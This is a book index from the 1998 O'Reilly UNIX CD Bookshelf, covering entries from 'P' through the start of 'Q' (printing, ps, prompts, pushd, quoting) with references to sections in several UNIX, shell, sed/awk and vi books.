UNIX Power Tools, 43.24. Other PostScript Utilities
printing pages from : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
selected pages : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
source file extension : UNIX Power Tools, 1.17. Filename Extensions
pound sign : (see #)
power tools
data-independent : UNIX Power Tools, 1.3. Programs Are Designed to Work Together
for editing : UNIX Power Tools, 1.6. Power Tools for Editing
Power Tools CD-ROM : UNIX Power Tools, 52.1. Introduction
PPID shell variable : UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
ppm (pixmap) format : UNIX Power Tools, 43.25. The Portable Bitmap Package
pr command
Learning the Korn Shell, 9.2.3.3. Breakpoints
Learning the UNIX Operating System, 4.5.1. pr
UNIX Power Tools, 35.17. Making Text in Columns with pr
UNIX Power Tools, 43.7. Quick-and-Dirty Formatting Before Printing
UNIX Power Tools, 43.10. Filename Headers Above Files Without pr
UNIX in a Nutshell, Chapter 2, Reference: pr
-n option : UNIX Power Tools, 25.21. Numbering Lines
awk instead of : Learning the Korn Shell, 9.2.3.3. Breakpoints
-t option : UNIX Power Tools, 25.21. Numbering Lines
-t -e command : UNIX Power Tools, 41.4.1. TAB Is Just Another Character to UNIX
pre-compiled binaries : UNIX Power Tools, 52.5.3. Installing Pre-Compiled Binaries
precedence, operation
sed & awk, 3.1. That's an Expression
sed & awk, B.2.5.6. Operators
precision modifier : sed & awk, 7.9. Formatted Printing
predefined environment variables : UNIX Power Tools, 6.3. Predefined Environment Variables
predefined shell variables
csh shell : UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
sh and ksh shells : UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
prefix operators : sed & awk, 7.6. Expressions
preprocessors for nroff/troff system : UNIX in a Nutshell, 16. Preprocessors
preserve command (ex) : UNIX in a Nutshell, Chapter 9, Reference: preserve
prime factors : UNIX in a Nutshell, Chapter 2, Reference: factor
primitives, Pic preprocessor : UNIX in a Nutshell, 16.3.3. Primitives
print command
Learning the Korn Shell, 1.9.1. Quoting
Learning the Korn Shell, 3.4. Shell Variables
Learning the Korn Shell, 7.2.1. print
Learning the Korn Shell, 7.2.1.2. Options to print
Learning the Korn Shell, 7.2.2.4. Reading User Input
Learning the Korn Shell, 7.2.2.5. Options to read
Learning the Korn Shell, 9.2.3.6. Limitations
Learning the Korn Shell, A.1. The Bourne Shell
UNIX in a Nutshell, Chapter 4, Reference: print
as debugging aid : Learning the Korn Shell, 9.1. Basic Debugging Aids
escape sequences : Learning the Korn Shell, 7.2.1.1. print escape sequences
features in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
emulating eval : Learning the Korn Shell, 7.3.2. eval
-n option
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the Korn Shell, 7.2.1.2. Options to print
-p option
Learning the Korn Shell, 7.2.1.2. Options to print
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the Korn Shell, 8.5.5. Two-way Pipes Versus Standard Pipes
-r option : Learning the Korn Shell, 7.2.1.2. Options to print
-s option : Learning the Korn Shell, 7.2.1.2. Options to print
-u option : Learning the Korn Shell, 7.2.1.2. Options to print
print command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 7.2. Hello, World
sed & awk, 10.5. Directing Output to Files and Pipes
UNIX in a Nutshell, Chapter 11, Reference: print
print command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: print
print command (ex) : UNIX in a Nutshell, Chapter 9, Reference: print
print command (sed) : (see p command; P command)
print pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
printenv command
UNIX Power Tools, 6.1. What Environment Variables Are Good For
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 14.10. Variables Help You Find Directories and Files
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: printenv
PRINTER environment variable : UNIX Power Tools, 6.3. Predefined Environment Variables
printerr()
sed & awk, 11.2.1.4. Special filenames
sed & awk, 12.3.4. A Function for Reporting Errors
printers
Learning the UNIX Operating System, 4.5.1. pr
UNIX in a Nutshell, Chapter 2, Reference: lptest
printf command
UNIX Power Tools, 8.6.1. Portability
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX Power Tools, 45.11. The Multipurpose jot Command
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
sed & awk, 7.9. Formatted Printing
sed & awk, 10.5. Directing Output to Files and Pipes
UNIX in a Nutshell, Chapter 2, Reference: printf
UNIX in a Nutshell, Chapter 11, Reference: printf
printing
UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
(see also displaying; typesettting)
banner command : UNIX Power Tools, 43.11. Big Letters: banner
banners
UNIX Power Tools, 43.11. Big Letters: banner
UNIX in a Nutshell, Chapter 2, Reference: banner
Berkeley commands for : UNIX Power Tools, 43.2.2. Berkeley Printing Commands
breaking long lines : UNIX Power Tools, 43.8. Fixing Margins with pr and fold
cancelling print requests
cancel command : UNIX in a Nutshell, Chapter 2, Reference: cancel
checking job status : UNIX Power Tools, 43.3. Printer Control with lpc
current system name : UNIX in a Nutshell, Chapter 2, Reference: uname
enscript program : UNIX Power Tools, 43.22. Converting Text Files to PostScript
environment variable values : UNIX in a Nutshell, Chapter 2, Reference: printenv
file creation mode mask : UNIX in a Nutshell, Chapter 2, Reference: umask
filename headers : UNIX Power Tools, 43.10. Filename Headers Above Files Without pr
files
Learning the UNIX Operating System, 4.5. Printing Files
UNIX Power Tools, 9.5. Build Strings with { }
UNIX in a Nutshell, Chapter 2, Reference: lp
from archives : UNIX in a Nutshell, Chapter 2, Reference: ar
cancelling jobs : Learning the UNIX Operating System, 4.5.4.2. cancel and lprm
cat command : UNIX in a Nutshell, Chapter 2, Reference: cat
initial lines of : UNIX in a Nutshell, Chapter 2, Reference: head
lines specified : UNIX in a Nutshell, Chapter 2, Reference: tail
fold command : UNIX Power Tools, 43.8. Fixing Margins with pr and fold
folding lines : UNIX Power Tools, 43.8. Fixing Margins with pr and fold
formatting output
UNIX Power Tools, 43.7. Quick-and-Dirty Formatting Before Printing
sed & awk, 7.9. Formatted Printing
from sc program
UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
UNIX Power Tools, 49.9. Business Graphics with ipl
graphics
UNIX Power Tools, 49.9. Business Graphics with ipl
(see graphics)
help for : UNIX Power Tools, 43.3. Printer Control with lpc
indents
UNIX Power Tools, 43.7. Quick-and-Dirty Formatting Before Printing
UNIX Power Tools, 43.9. Indenting Text for Printing
line addresses with = : sed & awk, 5.9. Print Line Number
log files
of copied files : UNIX in a Nutshell, Chapter 2, Reference: uulog
lp spooler, defined : UNIX Power Tools, 43.1. Introduction to Printing
lpc controls : UNIX Power Tools, 43.3. Printer Control with lpc
lpr spooler, defined : UNIX Power Tools, 43.1. Introduction to Printing
macro files for : UNIX Power Tools, 43.15. From a Source File to the Printer
margins : UNIX Power Tools, 43.8. Fixing Margins with pr and fold
page breaks : UNIX Power Tools, 43.7. Quick-and-Dirty Formatting Before Printing
PostScript files : UNIX Power Tools, 43.24. Other PostScript Utilities
defined : UNIX Power Tools, 43.1. Introduction to Printing
forming signatures : UNIX Power Tools, 43.24. Other PostScript Utilities
multiple pages per sheet : UNIX Power Tools, 43.24. Other PostScript Utilities
ps book program : UNIX Power Tools, 43.24. Other PostScript Utilities
psnup program : UNIX Power Tools, 43.24. Other PostScript Utilities
pstops program : UNIX Power Tools, 43.24. Other PostScript Utilities
rearranging pages : UNIX Power Tools, 43.24. Other PostScript Utilities
selected pages : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
pr command
Learning the Korn Shell, 9.2.3.3. Breakpoints
Learning the UNIX Operating System, 4.5.1. pr
UNIX Power Tools, 35.17. Making Text in Columns with pr
UNIX Power Tools, 43.7. Quick-and-Dirty Formatting Before Printing
UNIX Power Tools, 43.10. Filename Headers Above Files Without pr
UNIX in a Nutshell, Chapter 2, Reference: pr
-n option
Learning the Korn Shell, 9.2.3.3. Breakpoints
UNIX Power Tools, 25.21. Numbering Lines
-t option : UNIX Power Tools, 25.21. Numbering Lines
-t -e command : UNIX Power Tools, 41.4.1. TAB Is Just Another Character to UNIX
preprocessors : UNIX Power Tools, 43.15. From a Source File to the Printer
printer destination : UNIX Power Tools, 43.4. Using Different Printers
processing path : UNIX Power Tools, 43.15. From a Source File to the Printer
psselect program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
pstext program : UNIX Power Tools, 43.22. Converting Text Files to PostScript
queue
Learning the UNIX Operating System, 4.5.2. lp and lpr
Learning the UNIX Operating System, 4.5.4. Viewing the Printer Queue
displaying : UNIX in a Nutshell, Chapter 2, Reference: lpq
removing requests from : UNIX in a Nutshell, Chapter 2, Reference: lprm
status of : UNIX in a Nutshell, Chapter 2, Reference: lpstat
quitting : UNIX Power Tools, 43.3. Printer Control with lpc
restarting printers : UNIX Power Tools, 43.3. Printer Control with lpc
self-printing scripts : UNIX Power Tools, 45.4. Fun with #!
sending files : UNIX in a Nutshell, Chapter 2, Reference: lpr
SPOOL (Simultaneous Printing Off and On Line) : UNIX Power Tools, 43.1. Introduction to Printing
spooling system : UNIX Power Tools, 43.1. Introduction to Printing
symbolic links : UNIX Power Tools, 43.5. Using Symbolic Links for Spooling
strings : UNIX in a Nutshell, Chapter 2, Reference: printf
suppressing blank lines : UNIX Power Tools, 43.10. Filename Headers Above Files Without pr
system names known to uucp : UNIX in a Nutshell, Chapter 2, Reference: uuname
system usage information : UNIX in a Nutshell, Chapter 2, Reference: uptime
System V commands for : UNIX Power Tools, 43.2.1. System V Printing Commands
terminal capability : UNIX in a Nutshell, Chapter 2, Reference: tput
terminal device name : UNIX in a Nutshell, Chapter 2, Reference: tty
text files as PostScript : UNIX Power Tools, 43.22. Converting Text Files to PostScript
to terminal printer : UNIX Power Tools, 43.6. Printing to a Terminal Printer
wrapping lines : UNIX Power Tools, 43.8. Fixing Margins with pr and fold
priocntl command : UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
priorities : Learning the Korn Shell, 1.8.2. Background Jobs and Priorities
priority
defined in UNIX : UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
private files/directories
UNIX Power Tools, 4.5. Private (Personal) Directories
UNIX Power Tools, 4.7. Make More Directories!
privileged mode
Learning the Korn Shell, 10.3.4. Privileged Mode
Learning the Korn Shell, A.1. The Bourne Shell
/etc/suid_profile as environment file : Learning the Korn Shell, 10.3.4. Privileged Mode
turning off : Learning the Korn Shell, 10.3.4. Privileged Mode
privileges, termination of user processes : UNIX in a Nutshell, Chapter 2, Reference: shutdown
problem checklist : Learning the vi Editor, D. Problem Checklist
problems : (see troubleshooting)
procedures
sed & awk, 2.2.1. Scripting
sed & awk, 2.4.1. Running awk
UNIX in a Nutshell, 11.3.2. Procedures
process groups : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
process IDs (PIDs)
Learning the Korn Shell, 8.1. Process IDs and Job Numbers
Learning the Korn Shell, 8.3.3. ps
Learning the Korn Shell, 8.6.2. Nested Subshells
Learning the Korn Shell, A.1. The Bourne Shell
Learning the UNIX Operating System, 6.1. Running a Command in the Background
UNIX Power Tools, 16.16. Picking a Unique Filename Automatically
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
UNIX Power Tools, 38.16. Why You Can't Kill a Zombie
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
! variable (process ID of most recent background job) : Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
$ variable (ID of current shell)
Learning the Korn Shell, 2.2. The History File
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
for constructing temp filenames : Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
difference between job numbers and : Learning the Korn Shell, 8.1. Process IDs and Job Numbers
processes
Learning the Korn Shell, 8. Process Handling
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
(see also child processes)
(see also jobs)
actions caused by signals : UNIX Power Tools, 38.8. What Are Signals?
background : (see background processes/jobs)
controlling/managing : (see jobs and job control)
daemons : Learning the Korn Shell, 8.3.3.2. BSD
displaying all on the system : UNIX Power Tools, 38.13. Interactively Kill Processes Matching a Pattern
exit status returned by : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
group leaders
Learning the Korn Shell, 8.3.3.1. System V
Learning the Korn Shell, 8.3.3.2. BSD
foreground : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
killing
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
UNIX Power Tools, 38.10. Destroying Processes with kill
UNIX Power Tools, 38.12. Killing All Your Processes
UNIX Power Tools, 38.13. Interactively Kill Processes Matching a Pattern
UNIX Power Tools, 38.14. Processes Out of Control? Just STOP Them
UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
UNIX in a Nutshell, Chapter 2, Reference: kill
in pathological states
Learning the Korn Shell, 8.3.3.2. BSD
Learning the Korn Shell, 8.5. Coroutines
performance characteristics of : Learning the Korn Shell, 8.5.2. Advantages and Disadvantages of Coroutines
priority
UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
UNIX Power Tools, 39.11. Changing a Job's Priority Under BSD UNIX
spawning : UNIX Power Tools, 38.2. fork and exec
substitution : UNIX Power Tools, 9.18. Process Substitution
unkillable : UNIX Power Tools, 38.15. Cleaning Up an Unkillable Process
PROCINFO array (gawk) : sed & awk, 11.2.3.7. Additional special files
prof command : UNIX in a Nutshell, Chapter 2, Reference: prof
profile data
displaying
for C programming : UNIX in a Nutshell, Chapter 2, Reference: gprof
for files : UNIX in a Nutshell, Chapter 2, Reference: prof
for programs generally : UNIX in a Nutshell, Chapter 2, Reference: lprof
.profile file
Learning the Korn Shell, 2.1. Enabling Command-line Editing
Learning the Korn Shell, 2.2. The History File
Learning the Korn Shell, 3.1. The .profile File
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.2.2.1. Reading lines from files
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX Power Tools, 2.2.1. Bourne Shell
UNIX Power Tools, 2.2.3. Korn Shell
UNIX Power Tools, 2.8. Identifying Login Shells
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX in a Nutshell, 4.2.1. Special Files
(see also shell variables)
hung terminal and : UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
prompt settings : UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
for setting up restricted shell environment : Learning the Korn Shell, 10.3.1. Restricted Shell
stty commands in : UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
program environment, modifying
UNIX Power Tools, 44.23. Reading Files with the . and source Commands
(see also environment variables)
program's total running time
components contributing to : UNIX Power Tools, 39.5. Why Is the System So Slow?
programmers, virtues of : UNIX Power Tools, 37.3. Three Great Virtues of a Programmer
programming : Learning the UNIX Operating System, 7.3. Programming
awk, model for : sed & awk, 7.3. Awk's Programming Model
sed, tips for : sed & awk, 4.5. Getting to the PromiSed Land
programs
aborted
UNIX in a Nutshell, Chapter 2, Reference: sdb
UNIX Power Tools, 42.2.5. Aborting Programs
debugging : (see debugging)
directly executable vs. interpreted : Learning the UNIX Operating System, 6.2.1. ps
displaying profile data for : UNIX in a Nutshell, Chapter 2, Reference: lprof
lexical analysis, generating : UNIX in a Nutshell, Chapter 2, Reference: lex
links to : (see links)
making executable by using # : UNIX Power Tools, 45.4. Fun with #!
names of
UNIX Power Tools, 44.22. Finding a Program Name; Multiple Program Names
UNIX Power Tools, 45.13. Save Disk Space and Programming: Multiple Names for a Program
running with X : Learning the UNIX Operating System, 2.3. Running Programs
scheduling for periodic execution : UNIX Power Tools, 40.12. Periodic Program Execution: The cron Facility
time spent running other : UNIX Power Tools, 39.5. Why Is the System So Slow?
timing : UNIX Power Tools, 39.2. Timing Programs
waiting for input : UNIX Power Tools, 42.2.3. Program Waiting for Input?
WYSIWYG programs : UNIX Power Tools, 43.12.3. Scribe
prompt : (see shell prompt)
prompt character
customizing : UNIX Power Tools, 1.9. Which Shell Am I Running?
identifying shell : UNIX Power Tools, 44.3.5. Bourne Shell Used Here
prompt shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 7.2. Basics of Setting the Prompt
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
PROMPT_COMMAND variable : UNIX Power Tools, 7.13. Pre-Prompt Commands in bash
prompting
in read statement : Learning the Korn Shell, 7.2.2.4. Reading User Input
promptpid variable : UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
prompts
Learning the Korn Shell, 3.4.2.3. Prompting Variables
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
backspacing over : UNIX Power Tools, 41.5. Why Some Systems Backspace over Prompts
customizing
with command number : Learning the Korn Shell, 3.4.2.3. Prompting Variables
with current directory
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 7.3.1. Quoting
features in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
with user name : Learning the Korn Shell, 3.4.2.3. Prompting Variables
with machine name : Learning the Korn Shell, 4.4. Command Substitution
primary : Learning the Korn Shell, 3.4.2.3. Prompting Variables
processing of PS1 : Learning the Korn Shell, 7.3.1. Quoting
shell prompts : UNIX Power Tools, 7.1. Why Change Your Prompt?
prs command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: prs
data keywords for : UNIX in a Nutshell, 17.4. Data Keywords
ps
Learning the Korn Shell, 8.3.3. ps
Learning the Korn Shell, 8.6.2. Nested Subshells
UNIX Power Tools, 39.12.2. The Memory Subsystem
-a
Learning the Korn Shell, 8.3.3. ps
Learning the Korn Shell, 8.3.3.2. BSD
-ax (BSD) : Learning the Korn Shell, 8.3.3.2. BSD
-e (System V) : Learning the Korn Shell, 8.3.3.2. BSD
listing all processes on the system : Learning the Korn Shell, 8.3.3.2. BSD
output of BSD version : Learning the Korn Shell, 8.3.3. ps
output of System V version : Learning the Korn Shell, 8.3.3. ps
reporting of network statistics : UNIX Power Tools, 39.12.3. The I/O Subsystem
ps -ag command : UNIX Power Tools, 38.13. Interactively Kill Processes Matching a Pattern
ps -aux command (BSD UNIX) : UNIX Power Tools, 38.5. The ps Command
ps -ef command (System V)
listing produced by : UNIX Power Tools, 38.5. The ps Command
ps command
Learning the UNIX Operating System, 6.2.1. ps
UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
UNIX Power Tools, 38.5. The ps Command
UNIX in a Nutshell, Chapter 2, Reference: ps
AIX version of : UNIX Power Tools, 38.5. The ps Command
displaying programs : UNIX Power Tools, 42.2.5. Aborting Programs
example : UNIX Power Tools, 1.14. The Kernel and Daemons
in pipes : UNIX Power Tools, 38.5. The ps Command
listing of command output fields : UNIX Power Tools, 38.5. The ps Command
ps commands
printing commands in parentheses : UNIX Power Tools, 38.7. Why ps Prints Some Commands in Parentheses
.ps filename extension : UNIX Power Tools, 1.17. Filename Extensions
PS1 variable
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 7.2. Basics of Setting the Prompt
UNIX in a Nutshell, 4.3.3. Other Shell Variables
command subsitution in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
PS2 variable
Learning the Korn Shell, 3.4.2.3. Prompting Variables
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
PS3 variable
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 5.4. select
command subsitution in next ksh release
Learning the Korn Shell, A.7. The Future of the Korn Shell
UNIX in a Nutshell, 4.3.3. Other Shell Variables
PS4 variable
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 9.1.1. Set Options
UNIX in a Nutshell, 4.3.3. Other Shell Variables
in kshdb : Learning the Korn Shell, 9.2.3. Debugger Functions
psbook program : UNIX Power Tools, 43.24. Other PostScript Utilities
pseudo teletypes (ptys) : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
pseudo-commands, SCCS : UNIX in a Nutshell, 17.6. sccs and Pseudo-commands
pseudo-terminal : UNIX Power Tools, 38.6. The Controlling Terminal
pseudo-terminals (ptys) : UNIX Power Tools, 41.8. ptys and Window Systems
psmerge program : UNIX Power Tools, 43.24. Other PostScript Utilities
psnup program : UNIX Power Tools, 43.24. Other PostScript Utilities
psresize program : UNIX Power Tools, 43.24. Other PostScript Utilities
psselect program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
pstat : UNIX Power Tools, 39.12.2. The Memory Subsystem
pstext program
UNIX Power Tools, 43.22. Converting Text Files to PostScript
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
pstops program : UNIX Power Tools, 43.24. Other PostScript Utilities
PSUtils
UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
UNIX Power Tools, 43.24. Other PostScript Utilities
psutils : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
psychoanalyze-pinhead command : UNIX Power Tools, 32.13. An Absurd Amusement
ptx command : UNIX in a Nutshell, Chapter 2, Reference: ptx
pty : UNIX Power Tools, 38.6. The Controlling Terminal
ptys (pseudo teletypes) : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
ptys (pseudo-terminals) : UNIX Power Tools, 41.8. ptys and Window Systems
ptys command : UNIX Power Tools, 41.1. Delving a Little Deeper
public domain Korn shell
Learning the Korn Shell, Korn Shell Versions
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.4. pdksh
documentation : Learning the Korn Shell, A.4. pdksh
for OS/2 : Learning the Korn Shell, A.6. Workalikes on PC Platforms
punctuation in filenames : UNIX Power Tools, 1.15. Filenames
purge program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
pushd
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the Korn Shell, A.5. bash
additional arguments : Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
functionality : Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
pushd comman : UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
pushd command : UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
aliases for : UNIX Power Tools, 14.7. Nice Aliases for pushd
pushd command (csh) : UNIX in a Nutshell, Chapter 5, Reference: pushd
pushd commannd : UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
pushd comnmand : UNIX Power Tools, 14.6. The Shells' pushd and popd Commands
pushin script
UNIX Power Tools, 25.13. pushin: Squeeze Out Extra White Space
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
put command (ex) : UNIX in a Nutshell, Chapter 9, Reference: put
put command (ftp) : Learning the UNIX Operating System, 4.4.2.4. ftp
put text (p)
Learning the vi Editor, 2.3.5.4. Problems with Deletions
Learning the vi Editor, 2.3.6. Moving Text
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.3.2. Yanking to Named Buffers
put text (P)
Learning the vi Editor, 2.3.6. Moving Text
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 4.3.2. Yanking to Named Buffers
putting commands (sed) : UNIX in a Nutshell, 10.4.4. Yanking and Putting
PWD
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 3.4.3.1. Miscellaneous Variables
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the Korn Shell, 7.3. Command-line Processing
pwd command
Learning the UNIX Operating System, 3.1.6.1. pwd
UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
UNIX Power Tools, 14.4. How Does UNIX Find Your Current Directory?
UNIX in a Nutshell, Chapter 2, Reference: pwd
pwd command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: pwd
pwd command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: pwd
PWD environment variable
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
Emacs and : UNIX Power Tools, 32.9. Unset PWD Before Using Emacs
PWD shell variable : UNIX in a Nutshell, 4.3.2. Built-in Shell Variables

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

q command (sed) : UNIX in a Nutshell, Chapter 10, Reference: q
q command (sed) : sed & awk, 5.12. Quit
qcsh function
UNIX Power Tools, 15.3. Adding { } Operators to Korn (and Bourne) Shells
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
qsubst program
UNIX Power Tools, 33.10. Quick Globals from the Command Line with qsubst
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
qterm program
UNIX Power Tools, 5.5. Querying Your Terminal Type: qterm
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX Power Tools, 52.5.3.4. Installing a Single Program
.qtermtab file : UNIX Power Tools, 5.5. Querying Your Terminal Type: qterm
question mark : (see ?)
question mark (?)
?: (conditional) operator
sed & awk, 8.1.1. Conditional Operator
sed & awk, 11.1.3. The C Conditional Expression
as metacharacter
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.5. Repeated Occurrences of a Character
question mark (?) wildcard : Learning the UNIX Operating System, 4.3. File and Directory Wildcards
questions, yes and no (examples) : UNIX Power Tools, 45.32. A Better read Command: grabchars
queue, printer
Learning the UNIX Operating System, 4.5.2. lp and lpr
Learning the UNIX Operating System, 4.5.4. Viewing the Printer Queue
queued jobs, obtaining reports on : UNIX in a Nutshell, Chapter 2, Reference: uustat
quick login setup : UNIX Power Tools, 2.5.1. Quick Login
quick reference (vi and ex) : Learning the vi Editor, A. Quick Reference
quieting at jobs : UNIX Power Tools, 40.7. Making Your at Jobs Quiet
quit
file (:q) : Learning the vi Editor, 5.3. Saving and Exiting Files
saving edits
:wq : Learning the vi Editor, 5.3. Saving and Exiting Files
:x : Learning the vi Editor, 5.3. Saving and Exiting Files
ZZ
Learning the vi Editor, 1.1.3. Saving and Quitting a File
Learning the vi Editor, 1.2. Quitting Without Saving Edits
Learning the vi Editor, 1.2.1. Problems Saving Files
Learning the vi Editor, 2.6. Review of Basic vi Commands
without saving edits (:q!)
Learning the vi Editor, 1.1.2. Problems Opening Files
Learning the vi Editor, 1.2. Quitting Without Saving Edits
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 5.3. Saving and Exiting Files
quit command : (see q command (sed))
quit command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: quit
quit command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: quit
quit command (ftp) : Learning the UNIX Operating System, 4.4.2.4. ftp
quit key : UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
QUIT signal
UNIX Power Tools, 38.8. What Are Signals?
UNIX Power Tools, 38.9. Killing Foreground Jobs
quitting X Window System : Learning the UNIX Operating System, 2.7. Quitting
quotation marks (')
sed & awk, 2.2. Command-Line Syntax
sed & awk, 2.3.1. Specifying Simple Instructions
quotes, backquote : (see `)
quotes, double : (see ")
quotes, single : (see ')
quoting : Learning the Korn Shell, 1.9.1. Quoting
aliases : UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
arithmetic expressions in double quotes : Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
in Bourne shell (sh)
UNIX Power Tools, 8.14. Bourne Shell Quoting
UNIX Power Tools, 47.2.4. Quoting
in C shell (csh)
UNIX Power Tools, 8.15. Differences Between Bourne and C Shell Quoting
UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
UNIX Power Tools, 47.2.4. Quoting
command substitution with double quotes : Learning the Korn Shell, 4.4. Command Substitution
in command-line arguments : UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
command-line parameters : UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
in command-line processing : Learning the Korn Shell, 7.3.1. Quoting
csh aliases and
UNIX Power Tools, 10.7. How to Put if-then-else in a C Shell Alias
UNIX Power Tools, 10.8. Fix Quoting in csh Aliases with makealias and quote
csh shell : UNIX in a Nutshell, 5.2.3. Quoting
difference between single and double quotes : Learning the Korn Shell, 7.3.1. Quoting
double quotes with $@ and $* : Learning the Korn Shell, 4.2.1.1. Positional parameters in functions
errors caused by : UNIX Power Tools, 46.2. Quoting Trouble? Think, Then Use echo
examples : Learning the Korn Shell, 7.3.1. Quoting
hereis document terminators : UNIX Power Tools, 45.26. Quoted hereis Document Terminators: sh vs. csh
